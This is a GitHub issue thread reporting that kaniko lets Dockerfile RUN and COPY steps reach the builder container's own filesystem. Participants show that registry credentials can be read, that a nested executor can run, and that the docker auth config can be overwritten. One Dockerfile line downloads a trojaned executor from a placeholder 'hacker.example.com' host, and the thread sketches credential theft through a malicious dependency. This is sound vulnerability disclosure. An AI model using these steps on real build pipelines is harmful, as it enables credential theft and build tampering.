Files created within kaniko can be partially accessed in Dockerfile

[mdegel]

Actual behavior
First of all, I'm not completely sure, if or if not this is a bug.

When there are files created within a running kaniko (debug) container, those files are partially accessible via RUN during a Dockerfile build, but not via COPY. Originally this issue stems from a behaviour we experienced in Gitlab. Using the debug variant of kaniko this way seems to be the recommended way in Gitlab (see here).

According to #1505 and #489 at least for the /kaniko dir this happens on purpose but is this also intended for all other directories?

Expected behavior
Either this is actually intended behaviour, then I'd expect COPY to work as well.

Or this is unintended behaviour (my guess), then the example shouldn't work in RUN either.

To Reproduce
Kaniko: gcr.io/kaniko-project/executor@sha256:473d6dfb011c69f32192e668d86a47c0235791e7e857c870ad70c5e86ec07e8c

Since the Dockerfile is minimal I'll attach it here for readability purposes.

FROM debian:buster

RUN cat /tmp/test.file
COPY /tmp/test.file /tmp/

The following cmds are being run then:

# The kaniko container is started like this
$ docker run --entrypoint sh -it -v $(pwd):/workspace gcr.io/kaniko-project/executor:debug

# then a secret file is created within the container
/ # echo "TEST" > /tmp/test.file

# and the kaniko build is started
/ # /kaniko/executor \
--context /workspace \
--dockerfile "Dockerfile" \
--destination demo:latest \
--no-push

This results in the following output:

# ...
INFO[0009] Retrieving image debian:buster               
INFO[0013] Executing 0 build triggers                   
INFO[0013] Unpacking rootfs as cmd RUN cat /tmp/test.file requires it. 
INFO[0023] RUN cat /tmp/test.file                       
INFO[0023] Taking snapshot of full filesystem...        
INFO[0023] cmd: /bin/sh                                 
INFO[0023] args: [-c cat /tmp/test.file]                
INFO[0023] Running: [/bin/sh -c cat /tmp/test.file]     
TEST
INFO[0023] Taking snapshot of full filesystem...        
INFO[0023] No files were changed, appending empty layer to config. No layer added to image. 
error building image: error building stage: failed to get files used from context: failed to get fileinfo for /workspace/tmp/test.file: lstat /workspace/tmp/test.file: no such file or directory

This shows that /tmp/test.file is accessible via a direct path in RUN. However the COPY is not allowed to use it.

Triage Notes for the Maintainers

Description	Yes/No
Please check if this a new feature you are proposing
Please check if the build works in docker but not in kaniko
Please check if this error is seen when you use --cache flag
Please check if your dockerfile is a multistage dockerfile

[mdegel]

After having a more detailed look into the situation I have another question:
Assuming that I follow the generic advice for pushing kaniko-built images, I'll need to pass-through the docker credentials into kaniko, like this:

docker run -ti --rm -v `pwd`:/workspace -v `pwd`/config.json:/kaniko/.docker/config.json:ro gcr.io/kaniko-project/executor:latest --dockerfile=Dockerfile --destination=yourimagename

Considering my finding from above means that I'll also be able to access the docker config including it's credentials from within the Dockerfile.
Thus I can easily leak those credentials, in case anything within Dockerfile is malicious (apt package, npm build script, maven build lib, python library when installed, ...).

Imagine the following setup:

• Someone uploads a malicious python lib, which when installed
  • Reads /kaniko/.docker/config.json
  • Attempts to publish the info to a server in the internet
• CI builds with Kaniko (Gitlab, Kubernetes, Jenkins, ...)
• Within the Dockerfile the python library is installed as a by-product of some other commonly used lib
• The python library leaks the credentials
• Someone else might use the credentials to publish docker images impersonating the CI

Am I overlooking sth. or is this a real security risk?

[TBBle]

This seems like a bug. Surely this shouldn't work?

FROM scratch
RUN ["/kaniko/executor", "--help"]

> docker run --rm -it --volume C:\Users\paulh\kantmp\docker:/docker gcr.io/kaniko-project/executor:debug --oci-layout-path /container --reproducible --no-push --context=/docker
INFO[0000] No base image, nothing to extract
INFO[0000] Built cross stage deps: map[]
INFO[0000] No base image, nothing to extract
INFO[0000] Executing 0 build triggers
INFO[0000] Unpacking rootfs as cmd RUN ["/kaniko/executor", "--help"] requires it.
INFO[0000] RUN ["/kaniko/executor", "--help"]
INFO[0000] Taking snapshot of full filesystem...
INFO[0000] cmd: /kaniko/executor
INFO[0000] args: [--help]
INFO[0000] Running: [/kaniko/executor --help]
Usage:
  executor [flags]
  executor [command]

Available Commands:
  help        Help about any command
  version     Print the version number of kaniko

Flags:
      --build-arg multi-arg type                  This flag allows you to pass in ARG values at build time. Set it repeatedly for multiple values.
      --cache                                     Use cache when building image
      --cache-dir string                          Specify a local directory to use as a cache. (default "/cache")
      --cache-repo string                         Specify a repository to use as a cache, otherwise one will be inferred from the destination provided
      --cache-ttl duration                        Cache timeout in hours. Defaults to two weeks. (default 336h0m0s)
      --cleanup                                   Clean the filesystem at the end
  -c, --context string                            Path to the dockerfile build context. (default "/workspace/")
      --context-sub-path string                   Sub path within the given context.
  -d, --destination multi-arg type                Registry the final image should be pushed to. Set it repeatedly for multiple destinations.
      --digest-file string                        Specify a file to save the digest of the built image to.
  -f, --dockerfile string                         Path to the dockerfile to be built. (default "Dockerfile")
      --force                                     Force building outside of a container
      --git gitoptions                            Branch to clone if build context is a git repository (default branch=,single-branch=false,recurse-submodules=false)
  -h, --help                                      help for executor
      --image-name-with-digest-file string        Specify a file to save the image name w/ digest of the built image to.
      --insecure                                  Push to insecure registry using plain HTTP
      --insecure-pull                             Pull from insecure registry using plain HTTP
      --insecure-registry multi-arg type          Insecure registry using plain HTTP to push and pull. Set it repeatedly for multiple registries.
      --label multi-arg type                      Set metadata for an image. Set it repeatedly for multiple labels.
      --log-format string                         Log format (text, color, json) (default "color")
      --log-timestamp                             Timestamp in log output
      --no-push                                   Do not push the image to the registry
      --oci-layout-path string                    Path to save the OCI image layout of the built image.
      --registry-certificate key-value-arg type   Use the provided certificate for TLS communication with the given registry. Expected format is 'my.registry.url=/path/to/the/server/certificate'.
      --registry-mirror string                    Registry mirror to use has pull-through cache instead of docker.io.
      --reproducible                              Strip timestamps out of the image to make it reproducible
      --single-snapshot                           Take a single snapshot at the end of the build.
      --skip-tls-verify                           Push to insecure registry ignoring TLS verify
      --skip-tls-verify-pull                      Pull from insecure registry ignoring TLS verify
      --skip-tls-verify-registry multi-arg type   Insecure registry ignoring TLS verify to push and pull. Set it repeatedly for multiple registries.
      --skip-unused-stages                        Build only used stages if defined to true. Otherwise it builds by default all stages, even the unnecessaries ones until it reaches the target stage / end of Dockerfile
      --snapshotMode string                       Change the file attributes inspected during snapshotting (default "full")
      --tarPath string                            Path to save the image in as a tarball instead of pushing
      --target string                             Set the target build stage to build
      --use-new-run                               Use the experimental run implementation for detecting changes without requiring file system snapshots.
  -v, --verbosity string                          Log level (trace, debug, info, warn, error, fatal, panic) (default "info")
      --whitelist-var-run                         Ignore /var/run directory when taking image snapshot. Set it to false to preserve /var/run/ in destination image. (Default true). (default true)

Use "executor [command] --help" for more information about a command.
INFO[0000] Taking snapshot of full filesystem...
INFO[0000] No files were changed, appending empty layer to config. No layer added to image.
INFO[0000] Skipping push to container registry due to --no-push flag

[mdegel]

@TBBle That's an interesting addition to know.

Apparently I can even build other Docker Images within a Dockerfile, considering I have the executor as well as credentials in here. In my opinion this seems a bit problematic since I could hide Docker Images within Docker Images.

Example:
Dockerfile.1

FROM debian:buster

RUN /kaniko/executor \
--context /workspace \
--dockerfile Dockerfile.2 \
--destination demo:latest \
--no-push

Dockerfile.2

FROM debian:buster

RUN ["/kaniko/executor", "--help"]

CMD

$ docker run \
-v $(pwd):/workspace gcr.io/kaniko-project/executor:latest \
--context /workspace \
--dockerfile Dockerfile.1 \
--destination demo:latest \
--no-push

INFO[0000] Retrieving image manifest debian:buster      
INFO[0000] Retrieving image debian:buster               
INFO[0001] Retrieving image manifest debian:buster      
INFO[0001] Retrieving image debian:buster               
INFO[0005] Built cross stage deps: map[]                
INFO[0005] Retrieving image manifest debian:buster      
INFO[0005] Retrieving image debian:buster               
INFO[0006] Retrieving image manifest debian:buster      
INFO[0006] Retrieving image debian:buster               
INFO[0009] Executing 0 build triggers                   
INFO[0009] Unpacking rootfs as cmd RUN /kaniko/executor --context /workspace --dockerfile Dockerfile.2 --destination demo:latest --no-push requires it. 
INFO[0019] RUN /kaniko/executor --context /workspace --dockerfile Dockerfile.2 --destination demo:latest --no-push 
INFO[0019] Taking snapshot of full filesystem...        
INFO[0020] cmd: /bin/sh                                 
INFO[0020] args: [-c /kaniko/executor --context /workspace --dockerfile Dockerfile.2 --destination demo:latest --no-push] 
INFO[0020] Running: [/bin/sh -c /kaniko/executor --context /workspace --dockerfile Dockerfile.2 --destination demo:latest --no-push] 
INFO[0000] Retrieving image manifest debian:buster      
INFO[0000] Retrieving image debian:buster               
INFO[0001] Retrieving image manifest debian:buster      
INFO[0001] Retrieving image debian:buster               
INFO[0005] Built cross stage deps: map[]                
INFO[0005] Retrieving image manifest debian:buster      
INFO[0005] Retrieving image debian:buster               
INFO[0007] Retrieving image manifest debian:buster      
INFO[0007] Retrieving image debian:buster               
INFO[0010] Executing 0 build triggers                   
INFO[0010] Unpacking rootfs as cmd RUN ["/kaniko/executor", "--help"] requires it. 
INFO[0020] RUN ["/kaniko/executor", "--help"]           
INFO[0020] Taking snapshot of full filesystem...        
INFO[0021] cmd: /kaniko/executor                        
INFO[0021] args: [--help]                               
INFO[0021] Running: [/kaniko/executor --help]           
Usage:
  executor [flags]
  executor [command]
...

[TBBle]

That was exactly my first thought when I realised that RUN wasn't chrooting.

By-the-by, the reason COPY failed in the original bug report might have been #1210, which would have deleted /tmp/test.file after the first RUN was executed, because you tested from inside the container, so there was no mount point.

So there should be no barrier to stealing OCI Registry credentials with a malicious Dockerfile, as you surmised earlier.

Slightly more concerning...

FROM scratch
ADD http://hacker.example.com/my-kaniko-binary-with-a-trojan /kaniko/executor

although clearly that's lost once the container terminates, so we're safe as long as we're using it as a one-shot container.

[mdegel]

One update for relevance, since I stumbled over an article describing an attack that could cause problems under the circumstances I described in my second post, while being able to circumvent common security measures: https://medium.com/@alex.birsan/dependency-confusion-4a5d60fec610

[brycedrennan]

We just stumbled upon this issue after finding unexpected files showing up in the kaniko container. This bug goes both directions: you can copy files out of the image you're building into the parent kaniko container!

We were having trouble because our docker auth config was getting messed up from inside a container! This example will mess with the kaniko build such that it won't be able to push.

FROM scratch
COPY bad-docker-config.json /root/.docker/config.json
COPY bad-docker-config.json /kaniko/.docker/config.json